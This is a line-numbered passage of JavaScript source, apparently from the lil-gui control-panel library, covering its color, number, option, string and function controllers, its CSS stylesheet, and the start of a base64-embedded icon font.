  234. target[2] = (int & 255) / 255 * rgbScale;
  235. },
  236. toHexString([r, g, b], rgbScale = 1) {
  237. rgbScale = 255 / rgbScale;
  238. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  239. return INT.toHexString(int);
  240. }
  241. };
  242. const OBJECT = {
  243. isPrimitive: false,
  244. match: (v) => Object(v) === v,
  245. fromHexString(string, target, rgbScale = 1) {
  246. const int = INT.fromHexString(string);
  247. target.r = (int >> 16 & 255) / 255 * rgbScale;
  248. target.g = (int >> 8 & 255) / 255 * rgbScale;
  249. target.b = (int & 255) / 255 * rgbScale;
  250. },
  251. toHexString({ r, g, b }, rgbScale = 1) {
  252. rgbScale = 255 / rgbScale;
  253. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  254. return INT.toHexString(int);
  255. }
  256. };
  257. const FORMATS = [STRING, INT, ARRAY, OBJECT];
  258. function getColorFormat(value) {
  259. return FORMATS.find((format) => format.match(value));
  260. }
  261. class ColorController extends Controller {
  262. constructor(parent, object, property, rgbScale) {
  263. super(parent, object, property, "color");
  264. this.$input = document.createElement("input");
  265. this.$input.setAttribute("type", "color");
  266. this.$input.setAttribute("tabindex", -1);
  267. this.$input.setAttribute("aria-labelledby", this.$name.id);
  268. this.$text = document.createElement("input");
  269. this.$text.setAttribute("type", "text");
  270. this.$text.setAttribute("spellcheck", "false");
  271. this.$text.setAttribute("aria-labelledby", this.$name.id);
  272. this.$display = document.createElement("div");
  273. this.$display.classList.add("display");
  274. this.$display.appendChild(this.$input);
  275. this.$widget.appendChild(this.$display);
  276. this.$widget.appendChild(this.$text);
  277. this._format = getColorFormat(this.initialValue);
  278. this._rgbScale = rgbScale;
  279. this._initialValueHexString = this.save();
  280. this._textFocused = false;
  281. this.$input.addEventListener("input", () => {
  282. this._setValueFromHexString(this.$input.value);
  283. });
  284. this.$input.addEventListener("blur", () => {
  285. this._callOnFinishChange();
  286. });
  287. this.$text.addEventListener("input", () => {
  288. const tryParse = normalizeColorString(this.$text.value);
  289. if (tryParse) {
  290. this._setValueFromHexString(tryParse);
  291. }
  292. });
  293. this.$text.addEventListener("focus", () => {
  294. this._textFocused = true;
  295. this.$text.select();
  296. });
  297. this.$text.addEventListener("blur", () => {
  298. this._textFocused = false;
  299. this.updateDisplay();
  300. this._callOnFinishChange();
  301. });
  302. this.$disable = this.$text;
  303. this.updateDisplay();
  304. }
  305. reset() {
  306. this._setValueFromHexString(this._initialValueHexString);
  307. return this;
  308. }
  309. _setValueFromHexString(value) {
  310. if (this._format.isPrimitive) {
  311. const newValue = this._format.fromHexString(value);
  312. this.setValue(newValue);
  313. } else {
  314. this._format.fromHexString(value, this.getValue(), this._rgbScale);
  315. this._callOnChange();
  316. this.updateDisplay();
  317. }
  318. }
  319. save() {
  320. return this._format.toHexString(this.getValue(), this._rgbScale);
  321. }
  322. load(value) {
  323. this._setValueFromHexString(value);
  324. this._callOnFinishChange();
  325. return this;
  326. }
  327. updateDisplay() {
  328. this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
  329. if (!this._textFocused) {
  330. this.$text.value = this.$input.value.substring(1);
  331. }
  332. this.$display.style.backgroundColor = this.$input.value;
  333. return this;
  334. }
  335. }
  336. class FunctionController extends Controller {
  337. constructor(parent, object, property) {
  338. super(parent, object, property, "function");
  339. this.$button = document.createElement("button");
  340. this.$button.appendChild(this.$name);
  341. this.$widget.appendChild(this.$button);
  342. this.$button.addEventListener("click", (e) => {
  343. e.preventDefault();
  344. this.getValue().call(this.object);
  345. });
  346. this.$button.addEventListener("touchstart", () => {
  347. }, { passive: true });
  348. this.$disable = this.$button;
  349. }
  350. }
  351. class NumberController extends Controller {
  352. constructor(parent, object, property, min, max, step) {
  353. super(parent, object, property, "number");
  354. this._initInput();
  355. this.min(min);
  356. this.max(max);
  357. const stepExplicit = step !== void 0;
  358. this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
  359. this.updateDisplay();
  360. }
  361. decimals(decimals) {
  362. this._decimals = decimals;
  363. this.updateDisplay();
  364. return this;
  365. }
  366. min(min) {
  367. this._min = min;
  368. this._onUpdateMinMax();
  369. return this;
  370. }
  371. max(max) {
  372. this._max = max;
  373. this._onUpdateMinMax();
  374. return this;
  375. }
  376. step(step, explicit = true) {
  377. this._step = step;
  378. this._stepExplicit = explicit;
  379. return this;
  380. }
  381. updateDisplay() {
  382. const value = this.getValue();
  383. if (this._hasSlider) {
  384. let percent = (value - this._min) / (this._max - this._min);
  385. percent = Math.max(0, Math.min(percent, 1));
  386. this.$fill.style.width = percent * 100 + "%";
  387. }
  388. if (!this._inputFocused) {
  389. this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
  390. }
  391. return this;
  392. }
  393. _initInput() {
  394. this.$input = document.createElement("input");
  395. this.$input.setAttribute("type", "number");
  396. this.$input.setAttribute("step", "any");
  397. this.$input.setAttribute("aria-labelledby", this.$name.id);
  398. this.$widget.appendChild(this.$input);
  399. this.$disable = this.$input;
  400. const onInput = () => {
  401. let value = parseFloat(this.$input.value);
  402. if (isNaN(value))
  403. return;
  404. if (this._stepExplicit) {
  405. value = this._snap(value);
  406. }
  407. this.setValue(this._clamp(value));
  408. };
  409. const increment = (delta) => {
  410. const value = parseFloat(this.$input.value);
  411. if (isNaN(value))
  412. return;
  413. this._snapClampSetValue(value + delta);
  414. this.$input.value = this.getValue();
  415. };
  416. const onKeyDown = (e) => {
  417. if (e.code === "Enter") {
  418. this.$input.blur();
  419. }
  420. if (e.code === "ArrowUp") {
  421. e.preventDefault();
  422. increment(this._step * this._arrowKeyMultiplier(e));
  423. }
  424. if (e.code === "ArrowDown") {
  425. e.preventDefault();
  426. increment(this._step * this._arrowKeyMultiplier(e) * -1);
  427. }
  428. };
  429. const onWheel = (e) => {
  430. if (this._inputFocused) {
  431. e.preventDefault();
  432. increment(this._step * this._normalizeMouseWheel(e));
  433. }
  434. };
  435. let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
  436. const DRAG_THRESH = 5;
  437. const onMouseDown = (e) => {
  438. initClientX = e.clientX;
  439. initClientY = prevClientY = e.clientY;
  440. testingForVerticalDrag = true;
  441. initValue = this.getValue();
  442. dragDelta = 0;
  443. window.addEventListener("mousemove", onMouseMove);
  444. window.addEventListener("mouseup", onMouseUp);
  445. };
  446. const onMouseMove = (e) => {
  447. if (testingForVerticalDrag) {
  448. const dx = e.clientX - initClientX;
  449. const dy = e.clientY - initClientY;
  450. if (Math.abs(dy) > DRAG_THRESH) {
  451. e.preventDefault();
  452. this.$input.blur();
  453. testingForVerticalDrag = false;
  454. this._setDraggingStyle(true, "vertical");
  455. } else if (Math.abs(dx) > DRAG_THRESH) {
  456. onMouseUp();
  457. }
  458. }
  459. if (!testingForVerticalDrag) {
  460. const dy = e.clientY - prevClientY;
  461. dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
  462. if (initValue + dragDelta > this._max) {
  463. dragDelta = this._max - initValue;
  464. } else if (initValue + dragDelta < this._min) {
  465. dragDelta = this._min - initValue;
  466. }
  467. this._snapClampSetValue(initValue + dragDelta);
  468. }
  469. prevClientY = e.clientY;
  470. };
  471. const onMouseUp = () => {
  472. this._setDraggingStyle(false, "vertical");
  473. this._callOnFinishChange();
  474. window.removeEventListener("mousemove", onMouseMove);
  475. window.removeEventListener("mouseup", onMouseUp);
  476. };
  477. const onFocus = () => {
  478. this._inputFocused = true;
  479. };
  480. const onBlur = () => {
  481. this._inputFocused = false;
  482. this.updateDisplay();
  483. this._callOnFinishChange();
  484. };
  485. this.$input.addEventListener("input", onInput);
  486. this.$input.addEventListener("keydown", onKeyDown);
  487. this.$input.addEventListener("wheel", onWheel, { passive: false });
  488. this.$input.addEventListener("mousedown", onMouseDown);
  489. this.$input.addEventListener("focus", onFocus);
  490. this.$input.addEventListener("blur", onBlur);
  491. }
  492. _initSlider() {
  493. this._hasSlider = true;
  494. this.$slider = document.createElement("div");
  495. this.$slider.classList.add("slider");
  496. this.$fill = document.createElement("div");
  497. this.$fill.classList.add("fill");
  498. this.$slider.appendChild(this.$fill);
  499. this.$widget.insertBefore(this.$slider, this.$input);
  500. this.domElement.classList.add("hasSlider");
  501. const map = (v, a, b, c, d) => {
  502. return (v - a) / (b - a) * (d - c) + c;
  503. };
  504. const setValueFromX = (clientX) => {
  505. const rect = this.$slider.getBoundingClientRect();
  506. let value = map(clientX, rect.left, rect.right, this._min, this._max);
  507. this._snapClampSetValue(value);
  508. };
  509. const mouseDown = (e) => {
  510. this._setDraggingStyle(true);
  511. setValueFromX(e.clientX);
  512. window.addEventListener("mousemove", mouseMove);
  513. window.addEventListener("mouseup", mouseUp);
  514. };
  515. const mouseMove = (e) => {
  516. setValueFromX(e.clientX);
  517. };
  518. const mouseUp = () => {
  519. this._callOnFinishChange();
  520. this._setDraggingStyle(false);
  521. window.removeEventListener("mousemove", mouseMove);
  522. window.removeEventListener("mouseup", mouseUp);
  523. };
  524. let testingForScroll = false, prevClientX, prevClientY;
  525. const beginTouchDrag = (e) => {
  526. e.preventDefault();
  527. this._setDraggingStyle(true);
  528. setValueFromX(e.touches[0].clientX);
  529. testingForScroll = false;
  530. };
  531. const onTouchStart = (e) => {
  532. if (e.touches.length > 1)
  533. return;
  534. if (this._hasScrollBar) {
  535. prevClientX = e.touches[0].clientX;
  536. prevClientY = e.touches[0].clientY;
  537. testingForScroll = true;
  538. } else {
  539. beginTouchDrag(e);
  540. }
  541. window.addEventListener("touchmove", onTouchMove, { passive: false });
  542. window.addEventListener("touchend", onTouchEnd);
  543. };
  544. const onTouchMove = (e) => {
  545. if (testingForScroll) {
  546. const dx = e.touches[0].clientX - prevClientX;
  547. const dy = e.touches[0].clientY - prevClientY;
  548. if (Math.abs(dx) > Math.abs(dy)) {
  549. beginTouchDrag(e);
  550. } else {
  551. window.removeEventListener("touchmove", onTouchMove);
  552. window.removeEventListener("touchend", onTouchEnd);
  553. }
  554. } else {
  555. e.preventDefault();
  556. setValueFromX(e.touches[0].clientX);
  557. }
  558. };
  559. const onTouchEnd = () => {
  560. this._callOnFinishChange();
  561. this._setDraggingStyle(false);
  562. window.removeEventListener("touchmove", onTouchMove);
  563. window.removeEventListener("touchend", onTouchEnd);
  564. };
  565. const callOnFinishChange = this._callOnFinishChange.bind(this);
  566. const WHEEL_DEBOUNCE_TIME = 400;
  567. let wheelFinishChangeTimeout;
  568. const onWheel = (e) => {
  569. const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
  570. if (isVertical && this._hasScrollBar)
  571. return;
  572. e.preventDefault();
  573. const delta = this._normalizeMouseWheel(e) * this._step;
  574. this._snapClampSetValue(this.getValue() + delta);
  575. this.$input.value = this.getValue();
  576. clearTimeout(wheelFinishChangeTimeout);
  577. wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
  578. };
  579. this.$slider.addEventListener("mousedown", mouseDown);
  580. this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
  581. this.$slider.addEventListener("wheel", onWheel, { passive: false });
  582. }
  583. _setDraggingStyle(active, axis = "horizontal") {
  584. if (this.$slider) {
  585. this.$slider.classList.toggle("active", active);
  586. }
  587. document.body.classList.toggle("lil-gui-dragging", active);
  588. document.body.classList.toggle(`lil-gui-${axis}`, active);
  589. }
  590. _getImplicitStep() {
  591. if (this._hasMin && this._hasMax) {
  592. return (this._max - this._min) / 1e3;
  593. }
  594. return 0.1;
  595. }
  596. _onUpdateMinMax() {
  597. if (!this._hasSlider && this._hasMin && this._hasMax) {
  598. if (!this._stepExplicit) {
  599. this.step(this._getImplicitStep(), false);
  600. }
  601. this._initSlider();
  602. this.updateDisplay();
  603. }
  604. }
  605. _normalizeMouseWheel(e) {
  606. let { deltaX, deltaY } = e;
  607. if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
  608. deltaX = 0;
  609. deltaY = -e.wheelDelta / 120;
  610. deltaY *= this._stepExplicit ? 1 : 10;
  611. }
  612. const wheel = deltaX + -deltaY;
  613. return wheel;
  614. }
  615. _arrowKeyMultiplier(e) {
  616. let mult = this._stepExplicit ? 1 : 10;
  617. if (e.shiftKey) {
  618. mult *= 10;
  619. } else if (e.altKey) {
  620. mult /= 10;
  621. }
  622. return mult;
  623. }
  624. _snap(value) {
  625. const r = Math.round(value / this._step) * this._step;
  626. return parseFloat(r.toPrecision(15));
  627. }
  628. _clamp(value) {
  629. if (value < this._min)
  630. value = this._min;
  631. if (value > this._max)
  632. value = this._max;
  633. return value;
  634. }
  635. _snapClampSetValue(value) {
  636. this.setValue(this._clamp(this._snap(value)));
  637. }
  638. get _hasScrollBar() {
  639. const root = this.parent.root.$children;
  640. return root.scrollHeight > root.clientHeight;
  641. }
  642. get _hasMin() {
  643. return this._min !== void 0;
  644. }
  645. get _hasMax() {
  646. return this._max !== void 0;
  647. }
  648. }
  649. class OptionController extends Controller {
  650. constructor(parent, object, property, options) {
  651. super(parent, object, property, "option");
  652. this.$select = document.createElement("select");
  653. this.$select.setAttribute("aria-labelledby", this.$name.id);
  654. this.$display = document.createElement("div");
  655. this.$display.classList.add("display");
  656. this._values = Array.isArray(options) ? options : Object.values(options);
  657. this._names = Array.isArray(options) ? options : Object.keys(options);
  658. this._names.forEach((name) => {
  659. const $option = document.createElement("option");
  660. $option.innerHTML = name;
  661. this.$select.appendChild($option);
  662. });
  663. this.$select.addEventListener("change", () => {
  664. this.setValue(this._values[this.$select.selectedIndex]);
  665. this._callOnFinishChange();
  666. });
  667. this.$select.addEventListener("focus", () => {
  668. this.$display.classList.add("focus");
  669. });
  670. this.$select.addEventListener("blur", () => {
  671. this.$display.classList.remove("focus");
  672. });
  673. this.$widget.appendChild(this.$select);
  674. this.$widget.appendChild(this.$display);
  675. this.$disable = this.$select;
  676. this.updateDisplay();
  677. }
  678. updateDisplay() {
  679. const value = this.getValue();
  680. const index = this._values.indexOf(value);
  681. this.$select.selectedIndex = index;
  682. this.$display.innerHTML = index === -1 ? value : this._names[index];
  683. return this;
  684. }
  685. }
  686. class StringController extends Controller {
  687. constructor(parent, object, property) {
  688. super(parent, object, property, "string");
  689. this.$input = document.createElement("input");
  690. this.$input.setAttribute("type", "text");
  691. this.$input.setAttribute("aria-labelledby", this.$name.id);
  692. this.$input.addEventListener("input", () => {
  693. this.setValue(this.$input.value);
  694. });
  695. this.$input.addEventListener("keydown", (e) => {
  696. if (e.code === "Enter") {
  697. this.$input.blur();
  698. }
  699. });
  700. this.$input.addEventListener("blur", () => {
  701. this._callOnFinishChange();
  702. });
  703. this.$widget.appendChild(this.$input);
  704. this.$disable = this.$input;
  705. this.updateDisplay();
  706. }
  707. updateDisplay() {
  708. this.$input.value = this.getValue();
  709. return this;
  710. }
  711. }
  712. const stylesheet = `.lil-gui {
  713. font-family: var(--font-family);
  714. font-size: var(--font-size);
  715. line-height: 1;
  716. font-weight: normal;
  717. font-style: normal;
  718. text-align: left;
  719. background-color: var(--background-color);
  720. color: var(--text-color);
  721. user-select: none;
  722. -webkit-user-select: none;
  723. touch-action: manipulation;
  724. --background-color: #1f1f1f;
  725. --text-color: #ebebeb;
  726. --title-background-color: #111111;
  727. --title-text-color: #ebebeb;
  728. --widget-color: #424242;
  729. --hover-color: #4f4f4f;
  730. --focus-color: #595959;
  731. --number-color: #2cc9ff;
  732. --string-color: #a2db3c;
  733. --font-size: 11px;
  734. --input-font-size: 11px;
  735. --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  736. --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
  737. --padding: 4px;
  738. --spacing: 4px;
  739. --widget-height: 20px;
  740. --name-width: 45%;
  741. --slider-knob-width: 2px;
  742. --slider-input-width: 27%;
  743. --color-input-width: 27%;
  744. --slider-input-min-width: 45px;
  745. --color-input-min-width: 45px;
  746. --folder-indent: 7px;
  747. --widget-padding: 0 0 0 3px;
  748. --widget-border-radius: 2px;
  749. --checkbox-size: calc(0.75 * var(--widget-height));
  750. --scrollbar-width: 5px;
  751. }
  752. .lil-gui, .lil-gui * {
  753. box-sizing: border-box;
  754. margin: 0;
  755. padding: 0;
  756. }
  757. .lil-gui.root {
  758. width: var(--width, 245px);
  759. display: flex;
  760. flex-direction: column;
  761. }
  762. .lil-gui.root > .title {
  763. background: var(--title-background-color);
  764. color: var(--title-text-color);
  765. }
  766. .lil-gui.root > .children {
  767. overflow-x: hidden;
  768. overflow-y: auto;
  769. }
  770. .lil-gui.root > .children::-webkit-scrollbar {
  771. width: var(--scrollbar-width);
  772. height: var(--scrollbar-width);
  773. background: var(--background-color);
  774. }
  775. .lil-gui.root > .children::-webkit-scrollbar-thumb {
  776. border-radius: var(--scrollbar-width);
  777. background: var(--focus-color);
  778. }
  779. @media (pointer: coarse) {
  780. .lil-gui.allow-touch-styles {
  781. --widget-height: 28px;
  782. --padding: 6px;
  783. --spacing: 6px;
  784. --font-size: 13px;
  785. --input-font-size: 16px;
  786. --folder-indent: 10px;
  787. --scrollbar-width: 7px;
  788. --slider-input-min-width: 50px;
  789. --color-input-min-width: 65px;
  790. }
  791. }
  792. .lil-gui.force-touch-styles {
  793. --widget-height: 28px;
  794. --padding: 6px;
  795. --spacing: 6px;
  796. --font-size: 13px;
  797. --input-font-size: 16px;
  798. --folder-indent: 10px;
  799. --scrollbar-width: 7px;
  800. --slider-input-min-width: 50px;
  801. --color-input-min-width: 65px;
  802. }
  803. .lil-gui.autoPlace {
  804. max-height: 100%;
  805. position: fixed;
  806. top: 0;
  807. right: 15px;
  808. z-index: 1001;
  809. }
  810.  
  811. .lil-gui .controller {
  812. display: flex;
  813. align-items: center;
  814. padding: 0 var(--padding);
  815. margin: var(--spacing) 0;
  816. }
  817. .lil-gui .controller.disabled {
  818. opacity: 0.5;
  819. }
  820. .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
  821. pointer-events: none !important;
  822. }
  823. .lil-gui .controller > .name {
  824. min-width: var(--name-width);
  825. flex-shrink: 0;
  826. white-space: pre;
  827. padding-right: var(--spacing);
  828. line-height: var(--widget-height);
  829. }
  830. .lil-gui .controller .widget {
  831. position: relative;
  832. display: flex;
  833. align-items: center;
  834. width: 100%;
  835. min-height: var(--widget-height);
  836. }
  837. .lil-gui .controller.string input {
  838. color: var(--string-color);
  839. }
  840. .lil-gui .controller.boolean .widget {
  841. cursor: pointer;
  842. }
  843. .lil-gui .controller.color .display {
  844. width: 100%;
  845. height: var(--widget-height);
  846. border-radius: var(--widget-border-radius);
  847. position: relative;
  848. }
  849. @media (hover: hover) {
  850. .lil-gui .controller.color .display:hover:before {
  851. content: " ";
  852. display: block;
  853. position: absolute;
  854. border-radius: var(--widget-border-radius);
  855. border: 1px solid #fff9;
  856. top: 0;
  857. right: 0;
  858. bottom: 0;
  859. left: 0;
  860. }
  861. }
  862. .lil-gui .controller.color input[type=color] {
  863. opacity: 0;
  864. width: 100%;
  865. height: 100%;
  866. cursor: pointer;
  867. }
  868. .lil-gui .controller.color input[type=text] {
  869. margin-left: var(--spacing);
  870. font-family: var(--font-family-mono);
  871. min-width: var(--color-input-min-width);
  872. width: var(--color-input-width);
  873. flex-shrink: 0;
  874. }
  875. .lil-gui .controller.option select {
  876. opacity: 0;
  877. position: absolute;
  878. width: 100%;
  879. max-width: 100%;
  880. }
  881. .lil-gui .controller.option .display {
  882. position: relative;
  883. pointer-events: none;
  884. border-radius: var(--widget-border-radius);
  885. height: var(--widget-height);
  886. line-height: var(--widget-height);
  887. max-width: 100%;
  888. overflow: hidden;
  889. word-break: break-all;
  890. padding-left: 0.55em;
  891. padding-right: 1.75em;
  892. background: var(--widget-color);
  893. }
  894. @media (hover: hover) {
  895. .lil-gui .controller.option .display.focus {
  896. background: var(--focus-color);
  897. }
  898. }
  899. .lil-gui .controller.option .display.active {
  900. background: var(--focus-color);
  901. }
  902. .lil-gui .controller.option .display:after {
  903. font-family: "lil-gui";
  904. content: "↕";
  905. position: absolute;
  906. top: 0;
  907. right: 0;
  908. bottom: 0;
  909. padding-right: 0.375em;
  910. }
  911. .lil-gui .controller.option .widget,
  912. .lil-gui .controller.option select {
  913. cursor: pointer;
  914. }
  915. @media (hover: hover) {
  916. .lil-gui .controller.option .widget:hover .display {
  917. background: var(--hover-color);
  918. }
  919. }
  920. .lil-gui .controller.number input {
  921. color: var(--number-color);
  922. }
  923. .lil-gui .controller.number.hasSlider input {
  924. margin-left: var(--spacing);
  925. width: var(--slider-input-width);
  926. min-width: var(--slider-input-min-width);
  927. flex-shrink: 0;
  928. }
  929. .lil-gui .controller.number .slider {
  930. width: 100%;
  931. height: var(--widget-height);
  932. background-color: var(--widget-color);
  933. border-radius: var(--widget-border-radius);
  934. padding-right: var(--slider-knob-width);
  935. overflow: hidden;
  936. cursor: ew-resize;
  937. touch-action: pan-y;
  938. }
  939. @media (hover: hover) {
  940. .lil-gui .controller.number .slider:hover {
  941. background-color: var(--hover-color);
  942. }
  943. }
  944. .lil-gui .controller.number .slider.active {
  945. background-color: var(--focus-color);
  946. }
  947. .lil-gui .controller.number .slider.active .fill {
  948. opacity: 0.95;
  949. }
  950. .lil-gui .controller.number .fill {
  951. height: 100%;
  952. border-right: var(--slider-knob-width) solid var(--number-color);
  953. box-sizing: content-box;
  954. }
  955.  
  956. .lil-gui-dragging .lil-gui {
  957. --hover-color: var(--widget-color);
  958. }
  959. .lil-gui-dragging * {
  960. cursor: ew-resize !important;
  961. }
  962.  
  963. .lil-gui-dragging.lil-gui-vertical * {
  964. cursor: ns-resize !important;
  965. }
  966.  
  967. .lil-gui .title {
  968. --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
  969. height: var(--title-height);
  970. line-height: calc(var(--title-height) - 4px);
  971. font-weight: 600;
  972. padding: 0 var(--padding);
  973. -webkit-tap-highlight-color: transparent;
  974. cursor: pointer;
  975. outline: none;
  976. text-decoration-skip: objects;
  977. }
  978. .lil-gui .title:before {
  979. font-family: "lil-gui";
  980. content: "▾";
  981. padding-right: 2px;
  982. display: inline-block;
  983. }
  984. .lil-gui .title:active {
  985. background: var(--title-background-color);
  986. opacity: 0.75;
  987. }
  988. @media (hover: hover) {
  989. body:not(.lil-gui-dragging) .lil-gui .title:hover {
  990. background: var(--title-background-color);
  991. opacity: 0.85;
  992. }
  993. .lil-gui .title:focus {
  994. text-decoration: underline var(--focus-color);
  995. }
  996. }
  997. .lil-gui.root > .title:focus {
  998. text-decoration: none !important;
  999. }
  1000. .lil-gui.closed > .title:before {
  1001. content: "▸";
  1002. }
  1003. .lil-gui.closed > .children {
  1004. transform: translateY(-7px);
  1005. opacity: 0;
  1006. }
  1007. .lil-gui.closed:not(.transition) > .children {
  1008. display: none;
  1009. }
  1010. .lil-gui.transition > .children {
  1011. transition-duration: 300ms;
  1012. transition-property: height, opacity, transform;
  1013. transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
  1014. overflow: hidden;
  1015. pointer-events: none;
  1016. }
  1017. .lil-gui .children:empty:before {
  1018. content: "Empty";
  1019. padding: 0 var(--padding);
  1020. margin: var(--spacing) 0;
  1021. display: block;
  1022. height: var(--widget-height);
  1023. font-style: italic;
  1024. line-height: var(--widget-height);
  1025. opacity: 0.5;
  1026. }
  1027. .lil-gui.root > .children > .lil-gui > .title {
  1028. border: 0 solid var(--widget-color);
  1029. border-width: 1px 0;
  1030. transition: border-color 300ms;
  1031. }
  1032. .lil-gui.root > .children > .lil-gui.closed > .title {
  1033. border-bottom-color: transparent;
  1034. }
  1035. .lil-gui + .controller {
  1036. border-top: 1px solid var(--widget-color);
  1037. margin-top: 0;
  1038. padding-top: var(--spacing);
  1039. }
  1040. .lil-gui .lil-gui .lil-gui > .title {
  1041. border: none;
  1042. }
  1043. .lil-gui .lil-gui .lil-gui > .children {
  1044. border: none;
  1045. margin-left: var(--folder-indent);
  1046. border-left: 2px solid var(--widget-color);
  1047. }
  1048. .lil-gui .lil-gui .controller {
  1049. border: none;
  1050. }
  1051.  
  1052. .lil-gui input {
  1053. -webkit-tap-highlight-color: transparent;
  1054. border: 0;
  1055. outline: none;
  1056. font-family: var(--font-family);
  1057. font-size: var(--input-font-size);
  1058. border-radius: var(--widget-border-radius);
  1059. height: var(--widget-height);
  1060. background: var(--widget-color);
  1061. color: var(--text-color);
  1062. width: 100%;
  1063. }
  1064. @media (hover: hover) {
  1065. .lil-gui input:hover {
  1066. background: var(--hover-color);
  1067. }
  1068. .lil-gui input:active {
  1069. background: var(--focus-color);
  1070. }
  1071. }
  1072. .lil-gui input:disabled {
  1073. opacity: 1;
  1074. }
  1075. .lil-gui input[type=text],
  1076. .lil-gui input[type=number] {
  1077. padding: var(--widget-padding);
  1078. }
  1079. .lil-gui input[type=text]:focus,
  1080. .lil-gui input[type=number]:focus {
  1081. background: var(--focus-color);
  1082. }
  1083. .lil-gui input::-webkit-outer-spin-button,
  1084. .lil-gui input::-webkit-inner-spin-button {
  1085. -webkit-appearance: none;
  1086. margin: 0;
  1087. }
  1088. .lil-gui input[type=number] {
  1089. -moz-appearance: textfield;
  1090. }
  1091. .lil-gui input[type=checkbox] {
  1092. appearance: none;
  1093. -webkit-appearance: none;
  1094. height: var(--checkbox-size);
  1095. width: var(--checkbox-size);
  1096. border-radius: var(--widget-border-radius);
  1097. text-align: center;
  1098. cursor: pointer;
  1099. }
  1100. .lil-gui input[type=checkbox]:checked:before {
  1101. font-family: "lil-gui";
  1102. content: "✓";
  1103. font-size: var(--checkbox-size);
  1104. line-height: var(--checkbox-size);
  1105. }
  1106. @media (hover: hover) {
  1107. .lil-gui input[type=checkbox]:focus {
  1108. box-shadow: inset 0 0 0 1px var(--focus-color);
  1109. }
  1110. }
  1111. .lil-gui button {
  1112. -webkit-tap-highlight-color: transparent;
  1113. outline: none;
  1114. cursor: pointer;
  1115. font-family: var(--font-family);
  1116. font-size: var(--font-size);
  1117. color: var(--text-color);
  1118. width: 100%;
  1119. height: var(--widget-height);
  1120. text-transform: none;
  1121. background: var(--widget-color);
  1122. border-radius: var(--widget-border-radius);
  1123. border: 1px solid var(--widget-color);
  1124. text-align: center;
  1125. line-height: calc(var(--widget-height) - 4px);
  1126. }
  1127. @media (hover: hover) {
  1128. .lil-gui button:hover {
  1129. background: var(--hover-color);
  1130. border-color: var(--hover-color);
  1131. }
  1132. .lil-gui button:focus {
  1133. border-color: var(--focus-color);
  1134. }
  1135. }
  1136. .lil-gui button:active {
  1137. background: var(--focus-color);
  1138. }
  1139.  
  1140. @font-face {
  1141. font-family: "lil-gui";
  1142. src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HM